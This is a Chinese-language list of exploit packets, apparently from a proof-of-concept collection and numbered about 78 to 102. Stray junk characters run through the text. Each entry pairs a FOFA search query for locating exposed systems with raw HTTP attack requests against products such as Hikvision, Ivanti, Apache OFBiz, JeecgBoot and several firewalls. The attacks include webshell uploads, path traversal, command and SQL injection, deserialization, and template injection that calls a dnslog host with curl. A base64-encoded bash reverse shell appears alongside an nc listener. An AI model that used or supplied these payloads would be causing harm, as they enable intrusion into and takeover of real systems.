" D/ c8 z4 s, L/ s' D0 s) TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
; V$ E3 }7 _- S, N6 c2 @& h6 F$ J) `Connection: close
0 P0 i6 l$ |7 }4 c. c) tContent-Length: 433
Accept: */*
# b1 y( E. u+ C' mAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! W% ^: s% k* E- {! j: sContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"
$ P: o+ s; k" u: O# v+ q
/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
; ~2 z9 e. E! ]/ d4 V6 PContent-Type: application/octet-stream
6 u! d; V% r' v
- _. N1 h: D' Y, s3 Phello1234567
& V' C: S* K) Q3 x------------398jnjVTTlDVXHlE7yYnfwBoix
5 r0 o9 K* Q8 j/ b) d9 G* JContent-Disposition: form-data; name="Upload"

; ?" X  q3 u+ `% p# e, ?- K. bSubmit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--

  [0 ]# P- O: I
% Q9 O( Y4 Z6 P; }) u1 U78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  b0 w+ N$ z( g" _& ~* sConnection: close
# z) u5 \. E: R+ B1 b, y2 ]4 o$ WContent-Length: 336
Accept-Encoding: gzip
3 @, z- I3 k  w; t1 _: T  \* qContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

' |* [( H( ?8 [------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
+ q1 O% v2 W4 v3 NContent-Type: image/png
$ q! l3 ~+ f. C; p+ i8 b/ q
1 L1 K( d+ B* Q6 z. ?# {' DYsOxWxSvj1KyZow1PTsh98fdu6l
( f5 j5 M, Y4 q9 l------YsOxWxSvj1KyZow1PTsh98fdu6l
. e5 S% @6 s" f4 @7 pContent-Disposition: form-data; name="target"

$ S; g1 O; t0 }9 O/ G/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--
. O% R" }3 }2 Y. N" b$ T7 x5 R3 X

5 L" [  \' M# y; BGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x


3 O& v: Y" r' I8 z# ?2 ^79. BYTEVALUE 百为流控路由器远程命令执行
4 G7 w2 G. F. [0 JFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. k8 d1 v" A3 q2 W. b8 p1 f* XAccept-Encoding: gzip, deflate
Connection: close
3 U( [( z  p6 H# b+ ?2 ^Upgrade-Insecure-Requests: 1

$ q" A( t  Z+ a& u
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
. t+ [$ L9 F2 }* gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, k9 ~+ j$ T4 [, K, W4 nContent-Length: 27
  b2 h. {4 B- c2 t1 l. J4 w2 hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ L8 ], {% Y3 l- |Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
0 W2 I. Z% J) j. J1 X( M/ Y# K  JUpgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>
( [. t1 X# V+ [3 t/ }
- t; n1 F1 c- c, b
GET /xykqmfxpoas.jsp HTTP/1.1
( a" T" z& u& f1 v* t# ]3 {Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
' w0 ?1 }0 V. w# H& I, tAccept-Encoding: gzip
- o. }" F) F5 g1 o: @

. L, `: v. j6 c, ^7 [5 T81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
$ M3 }8 Q7 R" {' IFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
5 k5 E6 e% n# Q4 k* {! bHost: x.x.x.x
2 A1 Q6 Q: G2 z$ Z) R! GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

% @* v( g2 d( [; v% d
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
) `" J# _( ?# ^+ t' uFOFA：app="思福迪-LOGBASE"
" z+ `1 O; w% p2 Z# w9 G1 iPOST /bhost/test_qrcode_b HTTP/1.1
# Y$ Y3 u1 Y( p5 mHost: BaseURL
User-Agent: Go-http-client/1.1
7 l8 q7 |! K2 W# `. d; n+ BContent-Length: 23
Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
& r; r1 a2 O0 i  k" {1 P0 PReferer: BaseURL

6 Z' |! I  l6 h5 |  lz1=1&z2="|id;"&z3=bhost

, e# I- x) s: R& N
83. JeecgBoot testConnection 远程命令执行
  b: ]8 X1 E. I) w8 L/ ]FOFA：title=="JeecgBoot 企业级低代码平台"


POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
5 N' ~/ }* S+ T4 AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 g! ]+ x4 ~2 g) a/ CConnection: close
Content-Length: 8881
Accept-Encoding: gzip
4 ?8 w; ^; ?, K; y2 [1 v9 cCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
) K5 N+ H  f, z0 T0 tContent-Type: application/json

& `. P1 t  Z7 M& H: |PAYLOAD
! W9 t. T1 u& o/ G# \3 I% B
4 a& G& Z4 V5 r0 Z- v84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
' L( ^1 s8 K$ x" O8 u! f! {1 PFOFA：title=="JeecgBoot 企业级低代码平台"

- u* |5 C8 V" R; [0 _/ Z

1 W; T/ L6 x8 W/ w, HPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
1 g+ }3 s3 D# n+ `' v4 MHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
# o( O) m: H! F% k+ [- H+ d1 XContent-Length: 156
5 ]' C" n% p4 }; _! M& m& WAccept: */*
Connection: close
Content-Type: application/json
) q0 J. ^2 R: ]6 H0 b4 oAccept-Encoding: gzip

9 \6 |# N4 n7 v$ i9 F' q4 S{
6 }, f2 I* f  w6 Z "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
4 A( g4 y3 h0 Y  R" B! D* x' z+ Z}


- r& S9 X  [* u) I% |: o+ W- X85. SysAid On-premise< 23.3.36远程代码执行
$ D" t+ ?1 B# {- RCVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
( G1 u  v7 z% `( o1 K4 ZPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
+ A! |, E6 p: E$ ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip
9 A' }5 U# `5 T7 L
$ T" B3 {6 e( gPAYLOAD
: P" X! i+ H1 \  e
回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
: t. f% r* r) XFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
0 S' F1 B! H1 r8 IUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
# w6 H$ v+ J6 p3 g) d, d5 i* SContent-Length: 44
0 L4 s( k1 ^- G1 T  |* y6 |+ s& \Accept: */*
4 P4 }; h4 b7 a5 |; ~Accept-Encoding: gzip
5 a5 G* s0 E! ~' l% i/ W3 AAccept-Language: en
. X) a* w+ A  r! M7 ^Content-Type: application/x-www-form-urlencoded
1 F* Y5 z2 W4 a' I
host=%0acat${IFS}/etc/passwd%0a&command=ping

0 o! T- u/ N; ^5 Y" h
; r5 U6 b$ C. s" U6 |87. 安恒明御安全网关aaa_local_web_preview文件上传
4 x. O4 ]/ ]- n: E' tFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
% B; A7 g0 C7 a: \Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 c2 W2 j) T) \  ]3 jConnection: close
1 E8 g* n* Y) y+ EContent-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
% N4 d& }5 T, M5 J
' t" m0 C  _5 f2 @, W--qqobiandqgawlxodfiisporjwravxtvd
1 G/ X. b9 s; @8 b/ _, A' |Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
# O" Y4 B  H3 ^8 E* uContent-Type: text/plain

2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--


/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
5 N' x. |9 x8 M" A- l$ f0 zFOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" n/ u3 O/ V3 e' DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; _5 E, ], `8 O5 NAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# Z; q; {; d/ D" f( x8 ~Connection: close

" u& y0 q* t' {+ h. `
# `8 N5 b" d4 V4 G+ N7 q% G/astdfkhl.php
2 }  `, A) ~$ f" o
8 p, @4 q1 o# G- Q* Z89. 致远互联FE协作办公平台editflow_manager存在sql注入
- o4 o; s/ u# o/ G$ HFOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
( b/ a/ V, I( G( S' L' \  XContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
3 s9 D7 L7 T& i$ g
option=2&GUID=-1'+union+select+111*222--+
3 P, _/ q& W9 Y0 S
. ^% j5 y: f7 l, N
- v9 w* c% y1 C0 ]90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
+ x, Y; N& C: I+ L. {  A2 T/ sFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
- M5 x) U0 g" y2 k6 e! x5 @/ k1 i5 ^Host: x.x.x.x
/ z8 P* C9 R# i  H$ eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
' v: Y* B# @! r3 \( GAccept-Encoding: gzip, deflate
+ Q' z3 j9 c( H$ [" pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
7 v+ I& P8 L/ k; s6 s2 |5 mContent-Type: application/x-www-form-urlencoded
6 Y& K3 D) @7 }* v( r; CX-Requested-With: XMLHttpRequest

1 d1 ~1 M+ n+ c! B; j6 [! pjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
# h( @4 p  D  W8 Z% Q9 ZGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
" j0 h3 {  P& q- z* o0 F, N6 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
' y7 L0 s+ p6 T. u$ S- {0 _Accept-Encoding: gzip, deflate
Accept: */*
5 k- N9 l/ R6 @* g1 Y; AConnection: keep-alive

) t* W1 M( j7 @3 I5 M" |, O
6 R4 F. K* |; I3 Y9 B, E
92. 海康威视运行管理中心session命令执行
- j/ A3 a- O0 D5 W" w' T% p+ J$ LFastjson命令执行
- |- d% L7 j3 Q: lhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
. I' K; P1 R5 w4 X/ s3 w1 b6 TAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
: S; N& ^$ R$ x: t- P! F# W5 h, U9 zContent-Type: application/json;charset=UTF-8
; G( k8 I/ k2 x: Y1 [X-Language-Type: zh_CN
( ~- L2 U0 d* N9 v0 xTestcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
5 Q" X( n  }& @" E7 j, @+ d2 S2 M' sAccept-Language: zh-CN,zh;q=0.9
( Y% X! K4 w8 w' Z/ X, V7 M+ {- P/ NContent-Length: 5778
/ Q4 \) G! t& A& r$ x$ _
PAYLOAD
, E- A+ O' |: n9 `
% I; O! M& `) r4 v. }( ?0 F! k- c
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
( X- R# d) o# v4 j" k5 q7 ~FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
. o. E$ |' y* ~POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
# A& f# `& o0 \! \4 ]/ i2 PContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

% F) o3 a0 A0 {1 s& J$ T------WebKitFormBoundarykcbkgdfx
! }) c, u/ u/ uContent-Disposition: form-data; name="MAX_FILE_SIZE"
# m6 \  ]  h9 [8 d. u2 N
1 ~& e% \0 A$ f9 v2 {  j10000000
------WebKitFormBoundarykcbkgdfx
0 }# Y6 S7 n4 J* V$ n3 EContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
  o$ y' _. s7 U
obj_app_upfile
5 a5 C2 Q. }5 a. v$ @------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
/ E6 m5 n# W/ ]( V0 p1 ^; @3 V0 S------WebKitFormBoundarykcbkgdfx--
$ d5 T! ]7 \" E* f1 v2 i9 G6 x

1 A( H( S" Z" T0 [GET /attachements/xlskxknxa.txt HTTP/1.1
6 W. u: }# m2 V; UHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
% \) P; t" l9 v/ p
/ S- @+ j$ U$ Q% W3 L
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
. X1 i: A- W- ^0 }POST /?g=obj_area_import_save HTTP/1.1
: c# P* V; o% o3 cHost: x.x.x.x
% l! O, m- E4 x$ {. C' mContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
  V8 }! I; t# k% i' P2 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
2 X' E: }: }# B. _
------WebKitFormBoundarybqvzqvmt
4 J  i9 a5 d5 v  j6 }0 R7 [. YContent-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
8 e6 h2 [1 u' o  ?5 {5 x4 V------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
5 J) e! U0 v: t8 M4 d4 B! rContent-Type: text/plain

9 X9 ^) R: Z7 z2 T7 spxplitttsrjnyoafavcajwkvhxindhmu
$ d* Q/ t; z" f# v$ I------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

% z$ @) \$ ?# O7 ^% d" pobj_app_upfile
9 J& k; E8 C' a$ X$ X  f------WebKitFormBoundarybqvzqvmt
8 [: b  x; c0 U. L# YContent-Disposition: form-data; name="__hash__"
4 U- c# s; w! W) k6 o) a
0b9d6b1ab7479ab69d9f71b05e0e9445
8 l+ V% s- J* y$ j# [------WebKitFormBoundarybqvzqvmt--
; b* M4 a% X, [: o


GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
5 j( O" v9 a  _. |User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
; K" H; m* |, l7 }5 A5 Y' k" s. B+ J" p
1 y2 M* G0 V. ~8 n5 H$ }

95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
. G0 ~2 v+ y$ E* @CVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
4 C% V* o+ _6 D4 `- {Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
, A7 s0 M9 F* d0 r" Z" B7 J# E- V/ n1 c/ \Connection: close
Content-Length: 889
Content-Type: application/xml
  x4 R$ l& @- z; }! uAccept-Encoding: gzip

<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
+ y2 B0 E; Y" s1 `+ J    <params>
      <param>
      <value>
        <struct>
( [3 }4 j$ ^: T( n& u$ }) n       <member>
8 R6 s, f6 Q3 {          <name>test</name>
3 B3 T) M. T  i/ Y8 L. H& e7 Y; D          <value>
' z% b3 E( x- Q! t2 c      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
( t" F. L; c! d- l; `          </value>
  p5 c0 t# R/ G7 l7 _# t        </member>
, f' d/ }) R% K& J: N. g      </struct>
      </value>
    </param>
    </params>
. X8 a) I7 Y; A% Z8 L</methodCall>

& X. ]3 Q: G# o1 d' j0 ]/ w
9 L  i8 v5 D' ?  n* B, _( G: [5 |/ m用ysoserial生成payload
4 Q/ }( j& l) b9 v) i. \1 rjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
1 ]/ S2 _' j6 P6 b5 _, i7 u* U9 L

" P4 u$ j! F9 O将生成的payload替换到上面的POC
! L8 I: x6 \: E, y! B5 W# ?6 X6 cPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
0 O# j) t0 b; k, k9 S( XConnection: close
8 h. P) ^1 P7 X0 Q  h& s% _Content-Length: 889
* m, Y/ H1 ?, y1 C+ J/ tContent-Type: application/xml
4 ?2 s' P: {8 E3 W" AAccept-Encoding: gzip

% Y7 `" A' |' m3 Y, R3 _PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
0 J5 b0 B+ q+ P1 p6 y0 W- dPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
5 J1 Q) _7 w" w. N$ Y' X. xHost: localhost:8443
0 U% ~, M% v) K! P0 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
. U' U: G2 L& j/ D+ VAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 q8 r/ S4 H9 a0 ?0 ^$ cContent-Type: application/x-www-form-urlencoded
Content-Length: 55
+ |! p! S5 ]- D3 v$ u$ V! Y- T
groovyProgram=throw+new+Exception('id'.execute().text);
- E! |7 `1 }" o, z0 o

) Z+ x, d* ]; u* G/ ]8 Z反弹shell
在kali上启动一个监听
. b9 r* w5 T, x5 _  E6 _. Ync -lvp 7777
* O6 Y) d! @, O! N; u
) X5 Q- y" [6 v2 WPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
( R+ V2 K0 ^+ ~8 P+ b8 c& bHost: 192.168.40.130:8443
% k; X3 w' A8 W8 T. B4 D  nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
# q3 ]/ X  C' M& G3 S7 q# oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 Q2 f3 a8 V+ o# dContent-Type: application/x-www-form-urlencoded
: K; o- f/ q1 j$ C  `6 {6 uContent-Length: 71

5 x9 S+ f8 y  AgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
' N& _1 z/ @$ O4 q# P$ r
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
0 @# {3 r6 U+ x/ w; Y; Q" }FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
! @$ g# K/ M* I% [& aHost: 192.168.40.130:8085
( r% [9 S6 x( W& K) KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) O, M, l2 y" {$ M! bAccept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


98. SpiderFlow爬虫平台远程命令执行
1 c% ]! h: C0 q7 Q2 m0 r" nCVE-2024-0195
- o' V9 g# K3 s, Y2 }3 _, ~# yFOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
! @: s) B8 @$ x5 p" Q, n7 S2 MConnection: close
. V" l' H" n6 UContent-Length: 121
& m" @3 A( [7 W! ^6 qAccept: */*
Accept-Encoding: gzip, deflate
$ I, l* y, `. ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
, g' k9 V0 W: H$ T  R6 hX-Requested-With: XMLHttpRequest

- I8 k; T9 p& U5 Tid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

; }$ t* O5 P# R1 W9 v8 U: X* v
, T$ Q7 e" j9 `4 S( d  s# }8 e99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
$ I, m: p' M+ B( s- C9 o% k7 X+ GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
4 ], B6 E* |: H8 Z. \+ ZContent-Length: 154
4 X; ~" b9 r2 F) yAccept: */*
% D- R9 z" Z1 ^  T* B, S6 nAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
; F! @9 ^, B5 a$ `- P6 G( NX-Requested-With: XMLHttpRequest
' `4 Y% C" ~. }% K( |& n1 k
8 [- [& V  z( I+ h; |, Z5 W, l0 l' B%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


) ]% x! ]: R/ g9 ^100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
* r6 D2 P( K1 [POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
3 a6 S9 X2 z+ b. xConnection: close
; ]3 Y( x  N% A; W0 iContent-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
, _0 d. [: ]- m" v9 l6 zAccept-Encoding: gzip

9 Q  P( n  Q! F8 J- c/ q------WebKitFormBoundarygcflwtei
# D+ h1 l/ k0 d5 B0 Z) ?Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
  H- @; q0 X1 s+ M; N
7 ^6 F# Q" ?8 W- _2ayyhRXiAsKXL8olvF5s4qqyI2O
* u5 R: y" ?% S$ m  w------WebKitFormBoundarygcflwtei--

# b, v5 U9 m( M# C0 i' S7 M
5 f- H, n) ]' S$ A101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
0 N0 L. V! J' A7 U0 I% S8 QGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
/ P7 z: y0 j" r5 _Connection: close
Accept-Encoding: gzip
7 F3 p. j6 H7 b9 `( L

102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
, A$ m# }+ A3 f; ?9 @& kFOFA：body="welcome.cgi?p=logo"
) U' h) G/ W% g- A1 \. }POST /dana-ws/saml20.ws HTTP/1.1
+ i/ l5 k/ z0 P9 X8 H7 THost: x.x.x.x
+ ?' P4 _1 W" p9 j6 L: BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
8 }, Z% P& }8 C& i5 jContent-Length: 792
Accept-Encoding: gzip
6 \6 u- [1 B6 O9 j. b. Q
